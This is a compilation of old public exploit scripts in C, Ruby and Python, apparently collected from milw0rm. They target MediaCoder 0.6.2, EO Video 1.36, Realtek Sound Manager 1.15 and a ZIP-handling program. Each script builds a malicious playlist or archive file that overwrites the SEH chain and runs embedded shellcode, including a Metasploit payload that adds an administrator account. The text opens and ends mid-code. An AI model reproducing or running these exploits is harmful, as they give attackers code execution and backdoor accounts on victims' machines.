0xDB, 0x90, 0x91, 0x01, 0xDB, 0xAF, 0xC1, 0xAF, 0x5A, 0x92, 0x3D, 0x89, 0x8F, 0x34, 0xC3, 0xAF,
0x5C, 0x90, 0x6F, 0xAF, 0xBD, 0x05, 0x40, 0xDB, 0xDD, 0x06, 0x13, 0x94, 0xEE, 0x05, 0x46, 0x02,
0x75, 0x2A, 0xF8, 0x2E, 0x52, 0x18, 0xE3, 0x03, 0x75, 0x2C, 0x6F, 0x80, 0x8A, 0xFA, 0x90, 0x00,
0x69, 0x4A, 0x58, 0x43, 0x53, 0x35, 0x70, 0x43, 0x4B, 0x4E, 0x70, 0x4F, 0x78, 0x4A, 0x4F, 0x38,
0x4E, 0x6B, 0x30, 0x43, 0x30, 0x63, 0x38, 0x65, 0x48, 0x4B, 0x4E, 0x71, 0x7A, 0x7A, 0x6E, 0x50,
0x57, 0x39, 0x6F, 0x79, 0x57, 0x31, 0x53, 0x42, 0x4D, 0x6F, 0x74, 0x6E, 0x4E, 0x61, 0x55, 0x51,
0x68, 0x61, 0x55, 0x6B, 0x70, 0x4E, 0x4F, 0x70, 0x63, 0x6B, 0x70, 0x52, 0x4E, 0x4F, 0x75, 0x71,
0x64, 0x6D, 0x50, 0x52, 0x55, 0x70, 0x73, 0x71, 0x55, 0x50, 0x72, 0x6D, 0x50, 0x25, 0x73, 0x6B,
0x70, 0x25, 0x73, 0x6D, 0x50, 0x6E, 0x4F, 0x51, 0x31, 0x4F, 0x54, 0x4E, 0x64, 0x6F, 0x30, 0x6D,
0x56, 0x4D, 0x56, 0x4D, 0x50, 0x70, 0x6E, 0x4F, 0x75, 0x72, 0x54, 0x4D, 0x50, 0x30, 0x6C, 0x42,
0x4F, 0x71, 0x53, 0x33, 0x31, 0x50, 0x6C, 0x43, 0x37, 0x70, 0x72, 0x70, 0x6F, 0x62, 0x55, 0x30,
0x70, 0x6B, 0x70, 0x6F, 0x51, 0x6F, 0x74, 0x50, 0x6D, 0x6F, 0x79, 0x50, 0x6E, 0x31, 0x59, 0x54,
0x33, 0x70, 0x74, 0x54, 0x32, 0x61, 0x51, 0x50, 0x74, 0x70, 0x6F, 0x31, 0x62, 0x42, 0x53, 0x6B,
0x70, 0x25, 0x73, 0x4D, 0x50, 0x4E, 0x4F, 0x4F, 0x51, 0x61, 0x34, 0x6F, 0x54, 0x6B, 0x50, 0x41,
0x00, 0x4B, 0x38, 0x4F, 0x45, 0x42, 0x32, 0x41, 0x30, 0x4B, 0x4E, 0x49, 0x44, 0x4B, 0x38, 0x46,
0x43, 0x4B, 0x58, 0x41, 0x50, 0x50, 0x4E, 0x41, 0x43, 0x42, 0x4C, 0x49, 0x59, 0x4E, 0x4A, 0x46,
0x58, 0x42, 0x4C, 0x46, 0x37, 0x47, 0x30, 0x41, 0x4C, 0x4C, 0x4C, 0x4D, 0x30, 0x41, 0x30, 0x44,
0x4C, 0x4B, 0x4E, 0x46, 0x4F, 0x4B, 0x33, 0x46, 0x35, 0x46, 0x32, 0x4A, 0x52, 0x45, 0x57, 0x45,
0x4E, 0x4B, 0x48, 0x4F, 0x35, 0x46, 0x42, 0x41, 0x30, 0x4B, 0x4E, 0x48, 0x36, 0x4B, 0x58, 0x4E,
0x50, 0x4B, 0x54, 0x4B, 0x48, 0x4F, 0x35, 0x4E, 0x41, 0x41, 0x30, 0x4B, 0x4E, 0x43, 0x30, 0x4E,
0x52, 0x4B, 0x58, 0x49, 0x48, 0x4E, 0x56, 0x46, 0x32, 0x4E, 0x31, 0x41, 0x36, 0x43, 0x4C, 0x41,
0x43, 0x4B, 0x4D, 0x46, 0x56, 0x4B, 0x48, 0x43, 0x44, 0x42, 0x53, 0x4B, 0x48, 0x42, 0x44, 0x4E,
0x50, 0x4B, 0x38, 0x42, 0x37, 0x4E, 0x41, 0x4D, 0x4A, 0x4B, 0x48, 0x42, 0x44, 0x4A, 0x30, 0x50,
0x45, 0x4A, 0x36, 0x50, 0x38, 0x50, 0x44, 0x50, 0x30, 0x4E, 0x4E, 0x42, 0x35, 0x4F, 0x4F, 0x48,
0x4D, 0x48, 0x46, 0x43, 0x45, 0x48, 0x56, 0x4A, 0x46, 0x43, 0x43, 0x44, 0x33, 0x4A, 0x56, 0x47,
0x37, 0x43, 0x37, 0x44, 0x43, 0x4F, 0x55, 0x46, 0x45, 0x4F, 0x4F, 0x42, 0x4D, 0x4A, 0x36, 0x4B,
0x4C, 0x4D, 0x4E, 0x4E, 0x4F, 0x4B, 0x33, 0x42, 0x55, 0x4F, 0x4F, 0x48, 0x4D, 0x4F, 0x45, 0x49,
0x58, 0x45, 0x4E, 0x48, 0x56, 0x41, 0x48, 0x4D, 0x4E, 0x4A, 0x50, 0x44, 0x30, 0x45, 0x35, 0x4C,
0x36, 0x44, 0x50, 0x4F, 0x4F, 0x42, 0x4D, 0x4A, 0x36, 0x49, 0x4D, 0x49, 0x50, 0x45, 0x4F, 0x4D,
0x4A, 0x47, 0x45, 0x4F, 0x4F, 0x48, 0x4D, 0x43, 0x55, 0x43, 0x45, 0x43, 0x35, 0x43, 0x35, 0x43,
0x35, 0x43, 0x54, 0x43, 0x55, 0x43, 0x54, 0x43, 0x35, 0x4F, 0x4F, 0x42, 0x4D, 0x48, 0x46, 0x4A,
0x56, 0x41, 0x41, 0x4E, 0x45, 0x48, 0x56, 0x43, 0x45, 0x49, 0x48, 0x41, 0x4E, 0x45, 0x59, 0x4A,
0x46, 0x46, 0x4A, 0x4C, 0x31, 0x42, 0x57, 0x47, 0x4C, 0x47, 0x55, 0x4F, 0x4F, 0x48, 0x4D, 0x4C,
0x36, 0x42, 0x41, 0x41, 0x35, 0x45, 0x45, 0x4F, 0x4F, 0x42, 0x4D, 0x4A, 0x56, 0x46, 0x4A, 0x4D,
0x4A, 0x50, 0x32, 0x49, 0x4E, 0x47, 0x35, 0x4F, 0x4F, 0x48, 0x4D, 0x43, 0x55, 0x45, 0x45, 0x4F,
0x4F, 0x42, 0x4D, 0x4A, 0x56, 0x45, 0x4E, 0x49, 0x54, 0x48, 0x58, 0x49, 0x44, 0x47, 0x45, 0x4F,
0x4F, 0x48, 0x4D, 0x42, 0x35, 0x46, 0x55, 0x46, 0x55, 0x45, 0x55, 0x4F, 0x4F, 0x42, 0x4D, 0x43,
0x39, 0x4A, 0x36, 0x47, 0x4E, 0x49, 0x47, 0x48, 0x4C, 0x49, 0x57, 0x47, 0x45, 0x4F, 0x4F, 0x48,
0x4D, 0x45, 0x55, 0x4F, 0x4F, 0x42, 0x4D, 0x48, 0x46, 0x4C, 0x56, 0x46, 0x36, 0x48, 0x36, 0x4A,
0x56, 0x43, 0x46, 0x4D, 0x36, 0x49, 0x48, 0x45, 0x4E, 0x4C, 0x46, 0x42, 0x45, 0x49, 0x35, 0x49,
0x32, 0x4E, 0x4C, 0x49, 0x38, 0x47, 0x4E, 0x4C, 0x56, 0x46, 0x34, 0x49, 0x58, 0x44, 0x4E, 0x41,
0x43, 0x42, 0x4C, 0x43, 0x4F, 0x4C, 0x4A, 0x50, 0x4F, 0x44, 0x54, 0x4D, 0x32, 0x50, 0x4F, 0x44,
0x34, 0x4E, 0x52, 0x43, 0x39, 0x4D, 0x38, 0x4C, 0x37, 0x4A, 0x33, 0x4B, 0x4A, 0x4B, 0x4A, 0x4B,
0x4A, 0x4A, 0x56, 0x44, 0x57, 0x50, 0x4F, 0x43, 0x4B, 0x48, 0x41, 0x4F, 0x4F, 0x45, 0x37, 0x46,
0x44, 0x4F, 0x4F, 0x48, 0x4D, 0x4B, 0x45, 0x47, 0x45, 0x44, 0x55, 0x41, 0x35, 0x41, 0x45, 0x41,
0x35, 0x4C, 0x36, 0x41, 0x30, 0x41, 0x55, 0x41, 0x45, 0x45, 0x45, 0x41, 0x45, 0x4F, 0x4F, 0x42,
0x4D, 0x4A, 0x46, 0x4D, 0x4A, 0x49, 0x4D, 0x45, 0x30, 0x50, 0x4C, 0x43, 0x55, 0x4F, 0x4F, 0x48,
0x4D, 0x4C, 0x36, 0x4F, 0x4F, 0x4F, 0x4F, 0x47, 0x43, 0x4F, 0x4F, 0x42, 0x4D, 0x4B, 0x48, 0x47,
0x45, 0x4E, 0x4F, 0x43, 0x58, 0x46, 0x4C, 0x46, 0x46, 0x4F, 0x4F, 0x48, 0x4D, 0x44, 0x45, 0x4F,
0x4F, 0x42, 0x4D, 0x4A, 0x56, 0x42, 0x4F, 0x4C, 0x48, 0x46, 0x50, 0x4F, 0x45, 0x43, 0x55, 0x4F,
0x4F, 0x48, 0x4D, 0x4F, 0x4F, 0x42, 0x4D, 0x5A, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x41, 0x49, 0x89, 0x04, 0x02, 0x12, 0x01, 0x61, 0x82, 0xFD, 0x81, 0x98,
0x98, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x2E, 0x74, 0x78, 0x74, 0x50, 0x4B, 0x05, 0x06, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00,
0x42, 0x08, 0x00, 0x00, 0x32, 0x08, 0x00, 0x00, 0x00, 0x00,
};


#define NEXT_SEH 2196
#define SEH_CHAIN 2200

#define SIZE 90000



int main (int argc, char *argv[])
{
int offset = 0,
i = 0,
next = 0x41414141,
seh_chain = 0x58585858;

char buffer[SIZE];

FILE *f;
f = fopen ("file.zip", "w");
assert (f !=NULL);

do {
buffer[i] = 0x90;
i++;
}while (i < SIZE);

memcpy (buffer, file, sizeof (file)); offset = NEXT_SEH;
memcpy (buffer + offset, &next, 4); offset = 0; offset = SEH_CHAIN;
memcpy (buffer + offset, &seh_chain, 4);
fwrite (buffer,1 ,sizeof (file), f);
fclose (f);
free (buffer);
return 0;
}

#milw0rm

MediaCoder 0.6.2.4275 Universal Buffer Overflow Exploit (SEH)

#!/usr/bin/env ruby
# MediaCoder 0.6.2.4275 Universal Buffer Overflow Exploit (SEH)
# Universal SEH Overwrite Exploit
# By Stack
# Mountassif Moad
# Download app : http://mediacoder.sourceforge.net/mirrors.htm?file=MediaCoder-0.6.2.4275.exe
# cat Greatz.txt
# Jadi-Chel7 & Mr.Safa7 & Houssamix & Simo-Soft & DDos & Simo64 & G0rillaz & Issam & Sec-Alert & & Bohayra & j0rd4n14n.r1z
# Webug & Travis-Barker & Keyo & General l0s3r & NeoCoderz & welahima b9ite 3arefe chkoune akhore rani tansa :d
# ahe nsite big thnx to Str0ke and thanks you for all patience and your advice & support
time3 = Time.new
puts "Exploit Started in Current Time :" + time3.inspect
puts "Enter Name For your File Like : Stack"
files = gets.chomp.capitalize
puts "Name Of File : " + files +'.m3u'
time1 = Time.new
$VERBOSE=nil
Header =
"\x23\x45\x58\x54\x4D\x33\x55\x0D\x0A\x23\x45\x58\x54\x49\x4E\x46"+
"\x3A\x33\x3A\x35\x30\x2C\x4C\x61\x6D\x62\x20\x4F\x66\x20\x47\x6F"+
"\x64\x20\x2D\x20\x53\x65\x74\x20\x54\x6F\x20\x46\x61\x69\x6C\x20"+
"\x0D\x0A\x44\x3A\x5C"
# win32_adduser - PASS=toor EXITFUNC=seh USER=root Size=489 Encoder=PexAlphaNum http://metasploit.com
Shellscode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"+
"\x42\x50\x42\x30\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x38\x4e\x47"+
"\x45\x30\x4a\x57\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x31\x4b\x48"+
"\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x54\x4b\x58\x46\x53\x4b\x58"+
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c"+
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"+
"\x46\x4f\x4b\x33\x46\x45\x46\x42\x46\x50\x45\x57\x45\x4e\x4b\x48"+
"\x4f\x55\x46\x42\x41\x30\x4b\x4e\x48\x56\x4b\x48\x4e\x50\x4b\x34"+
"\x4b\x48\x4f\x35\x4e\x31\x41\x30\x4b\x4e\x4b\x48\x4e\x41\x4b\x58"+
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x53"+
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x57"+
"\x4e\x50\x4b\x38\x42\x54\x4e\x50\x4b\x58\x42\x57\x4e\x41\x4d\x4a"+
"\x4b\x38\x4a\x56\x4a\x30\x4b\x4e\x49\x30\x4b\x48\x42\x58\x42\x4b"+
"\x42\x50\x42\x30\x42\x50\x4b\x48\x4a\x46\x4e\x43\x4f\x35\x41\x53"+
"\x48\x4f\x42\x46\x48\x55\x49\x48\x4a\x4f\x43\x48\x42\x4c\x4b\x37"+
"\x42\x55\x4a\x56\x42\x4f\x4c\x58\x46\x50\x4f\x45\x4a\x36\x4a\x39"+
"\x50\x4f\x4c\x58\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x46\x4d\x46"+
"\x46\x56\x50\x52\x45\x36\x4a\x47\x45\x46\x42\x52\x4f\x32\x43\x46"+
"\x42\x52\x50\x56\x45\x56\x46\x37\x42\x52\x45\x57\x43\x57\x45\x46"+
"\x44\x37\x42\x32\x44\x47\x4f\x46\x4f\x56\x46\x37\x42\x32\x46\x37"+
"\x4f\x36\x4f\x56\x44\x57\x42\x52\x4f\x42\x41\x44\x46\x54\x46\x34"+
"\x42\x52\x48\x52\x48\x52\x42\x32\x50\x56\x45\x36\x46\x37\x42\x52"+
"\x4e\x36\x4f\x46\x43\x56\x41\x56\x4e\x36\x47\x36\x44\x57\x4f\x36"+
"\x45\x57\x42\x47\x42\x52\x41\x34\x46\x46\x4d\x36\x49\x46\x50\x56"+
"\x49\x36\x43\x47\x46\x47\x44\x37\x41\x36\x46\x57\x4f\x56\x44\x57"+
"\x43\x47\x42\x32\x44\x57\x4f\x56\x4f\x46\x46\x47\x42\x32\x4f\x32"+
"\x41\x54\x46\x54\x46\x54\x42\x50\x5a"
# Media_bruteforcer_shellcode
Bruteforce = # BruteForce the shellcode to runing if it dont work in the first methode
"\xD0\x62\x43"+ # SHL BYTE PTR DS:[EDX+43],1
"\x00\xB8\x6D"+ # ADD BYTE PTR DS:[EAX+1ABBB6D],BH
"\xBB\xAB\x01"+
"\x00\x00"+ # ADD BYTE PTR DS:[EAX],AL
"\x00\xF0"+ # ADD AL,DH
"\xFF\x13"+ # CALL DWORD PTR DS:[EBX]
"\x00\x4F\x6D"+ # ADD BYTE PTR DS:[EDI+6D],CL
"\x81\x7C\x38\x07"+ # CMP DWORD PTR DS:[EAX+EDI+7],FFFF7C92
"\x92\x7C\xFF"+
"\xFF\xFF" + Shellscode
Rhunter =
"\x5B"+ #POP EBX
"\x90" * 10 + # NOP x 10
"\x90\x90"+ # NOP NOP
"\x8D\x44\xC1\x04"+ # LEA EAX,DWORD PTR DS:[ECX+EAX*8+4]
"\x8B\x1E"+ # MOV EBX,DWORD PTR DS:[ESI]
"\x89\x18"+ # MOV DWORD PTR DS:[EAX],EBX
"\x89\x06"+ # MOV DWORD PTR DS:[ESI],EAX
"\x42"+ # INC EDX
"\x83\xFA\x64"+ # CMP EDX,64
"\x75\xEC"+ # JNZ SHORT dsp_chmx.0169127E
"\x8B\x06"+ # MOV EAX,DWORD PTR DS:[ESI]
"\x8B\x10"+ # MOV EDX,DWORD PTR DS:[EAX]
"\x89\x16"+ # MOV DWORD PTR DS:[ESI],EDX
"\x5E"+ # POP ESI
"\x5B"+ # POP EBX
"\x93\x43"+ # CALL ESP
"\x92\x7c"
Over = "\x41" * 195 + "\xff\xff\xff\xff" + "\x47" * 4 + "\x42" * 6 + "\xff\xff\x47\x47\x47\xFF\x65\x78\x77\x76"
Nop = "\x90" * 8
Next_Seh = "\xeb\x06\xff\xff"
Seh = "\x93\xB6\x98\x7C"
Nopsled = "\x90" * 7
Xpl = Header + Over + Rhunter + Nop + Shellscode + Nopsled + Next_Seh + Seh + Nop + Bruteforce + Nopsled
File.open( files+".m3u", "w" ) do |the_file|
the_file.puts(Xpl)
puts "Exploit finished in Current Time :" + time1.inspect
puts "Now Open " + files +".m3u :d"
end

# milw0rm

EO Video v1.36 PlayList SEH Overwrite Exploit

#!/usr/bin/python
#usage: exploit.py
print "**************************************************************************"
print "[*] EO Video v1.36 PlayList Seh Overwrite Exploit\n"
print "[*] Author: j0rgan"
print "[*] Seh Exploitation : His0k4"
print "[*] Tested on: Windows XP SP2 (Fr)\n"
print "[*] Greetings to: All friends & Muslims HacKerS (DZ)"
print "**************************************************************************"

buff = "\x41" * 1356

next_seh = "\xEB\x06\x41\x41"

seh = "\x14\x1E\x5B\x58" #pop pop ret msgsm32 .acm

header1= (
"\x3C\x45\x4F\x50\x6C\x61\x79\x6C\x69\x73\x74\x3E\x0A\x3C\x50\x6C\x61\x79\x6C"
"\x69\x73\x74\x3E\x0A\x3C\x46\x6F\x6C\x64\x65\x72\x4C\x69\x73\x74\x3E\x0A\x3C"
"\x46\x6F\x6C\x64\x65\x72\x3E\x0A\x3C\x4E\x61\x6D\x65\x3E\x6E\x65\x73\x74\x6F"
"\x3C\x2F\x4E\x61\x6D\x65\x3E\x0A\x3C\x54\x72\x75\x65\x46\x72\x65\x71\x75\x65"
"\x6E\x63\x79\x3E\x31\x3C\x2F\x54\x72\x75\x65\x46\x72\x65\x71\x75\x65\x6E\x63"
"\x79\x3E\x0A\x3C\x2F\x46\x6F\x6C\x64\x65\x72\x3E\x0A\x3C\x46\x6F\x6C\x64\x65"
"\x72\x3E\x0A\x3C\x4E\x61\x6D\x65\x3E\x6E\x65\x73\x74\x6F\x3C\x2F\x4E\x61\x6D"
"\x65\x3E\x0A\x3C\x54\x72\x75\x65\x46\x72\x65\x71\x75\x65\x6E\x63\x79\x3E\x31"
"\x3C\x2F\x54\x72\x75\x65\x46\x72\x65\x71\x75\x65\x6E\x63\x79\x3E\x0A\x3C\x2F"
"\x46\x6F\x6C\x64\x65\x72\x3E\x0A\x3C\x2F\x46\x6F\x6C\x64\x65\x72\x4C\x69\x73"
"\x74\x3E\x0A\x3C\x50\x72\x6F\x6A\x65\x63\x74\x45\x6C\x65\x6D\x65\x6E\x74\x3E"
"\x0A\x3C\x4E\x61\x6D\x65\x3E")

header2= (
"\x3C\x2F\x4E\x61\x6D\x65\x3E\x0A\x3C\x53\x74\x61\x72\x74\x54\x69\x6D\x65\x3E"
"\x30\x3C\x2F\x53\x74\x61\x72\x74\x54\x69\x6D\x65\x3E\x0A\x3C\x45\x6E\x64\x54"
"\x69\x6D\x65\x3E\x30\x3C\x2F\x45\x6E\x64\x54\x69\x6D\x65\x3E\x0A\x3C\x4D\x65"
"\x64\x69\x61\x53\x69\x7A\x65\x3E\x0A\x3C\x57\x69\x64\x74\x68\x3E\x2D\x31\x3C"
"\x2F\x57\x69\x64\x74\x68\x3E\x0A\x3C\x48\x65\x69\x67\x68\x74\x3E\x2D\x31\x3C"
"\x2F\x48\x65\x69\x67\x68\x74\x3E\x0A\x3C\x2F\x4D\x65\x64\x69\x61\x53\x69\x7A"
"\x65\x3E\x0A\x3C\x53\x74\x61\x74\x65\x3E\x33\x30\x32\x31\x36\x3C\x2F\x53\x74"
"\x61\x74\x65\x3E\x0A\x3C\x46\x6F\x6C\x64\x65\x72\x50\x6F\x73\x69\x74\x69\x6F"
"\x6E\x49\x6E\x64\x65\x78\x3E\x30\x3C\x2F\x46\x6F\x6C\x64\x65\x72\x50\x6F\x73"
"\x69\x74\x69\x6F\x6E\x49\x6E\x64\x65\x78\x3E\x0A\x3C\x2F\x50\x72\x6F\x6A\x65"
"\x63\x74\x45\x6C\x65\x6D\x65\x6E\x74\x3E\x0A\x3C\x2F\x50\x6C\x61\x79\x6C\x69"
"\x73\x74\x3E\x5C\x6E\x3C\x2F\x45\x4F\x50\x6C\x61\x79\x6C\x69\x73\x74\x3E")


# win32_exec - EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
shellcode = (
"\x29\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x35"
"\x9c\xf7\xbc\x83\xeb\xfc\xe2\xf4\xc9\x74\xb3\xbc\x35\x9c\x7c\xf9"
"\x09\x17\x8b\xb9\x4d\x9d\x18\x37\x7a\x84\x7c\xe3\x15\x9d\x1c\xf5"
"\xbe\xa8\x7c\xbd\xdb\xad\x37\x25\x99\x18\x37\xc8\x32\x5d\x3d\xb1"
"\x34\x5e\x1c\x48\x0e\xc8\xd3\xb8\x40\x79\x7c\xe3\x11\x9d\x1c\xda"
"\xbe\x90\xbc\x37\x6a\x80\xf6\x57\xbe\x80\x7c\xbd\xde\x15\xab\x98"
"\x31\x5f\xc6\x7c\x51\x17\xb7\x8c\xb0\x5c\x8f\xb0\xbe\xdc\xfb\x37"
"\x45\x80\x5a\x37\x5d\x94\x1c\xb5\xbe\x1c\x47\xbc\x35\x9c\x7c\xd4"
"\x09\xc3\xc6\x4a\x55\xca\x7e\x44\xb6\x5c\x8c\xec\x5d\x6c\x7d\xb8"
"\x6a\xf4\x6f\x42\xbf\x92\xa0\x43\xd2\xff\x96\xd0\x56\x9c\xf7\xbc"
)

exploit = header1 + buff + next_seh + seh + shellcode + header2

try:
out_file = open("exploit.eop",'w')
out_file.write(exploit)
out_file.close()
print "Exploit File Created!\nNow Open it :)"
except:
print "Error"

# milw0rm

Realtek Sound Manager 1.15.0.0 PlayList SEH Overwrite Exploit

#!/usr/bin/python

print "[*] Realtek Sound Manager 1.15.0.0 (PlayList) Seh Overwrite Exploit\n"
print "[*] Author: shinnai"
print "[*] Seh Exploitation : His0k4"
print "[*] Tested on: Windows XP SP2 (Fr)\n"
print "[*] Greetings to: All friends & Muslims HacKerS (DZ)"

buff = "\x41" * 200

next_seh = "\xEB\x06\x90\x90"

seh = "\xBE\x2E\xC6\x72" #pop pop ret msacm32.drv

buff2 = "\x44"*1989

shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x47"
"\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x54\x4a\x41\x4b\x38"
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48"
"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58"
"\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x44"
"\x4b\x48\x4f\x35\x4e\x41\x41\x30\x4b\x4e\x4b\x38\x4e\x51\x4b\x38"
"\x41\x50\x4b\x4e\x49\x38\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
"\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x38\x42\x34\x4e\x50\x4b\x58\x42\x47\x4e\x41\x4d\x4a"
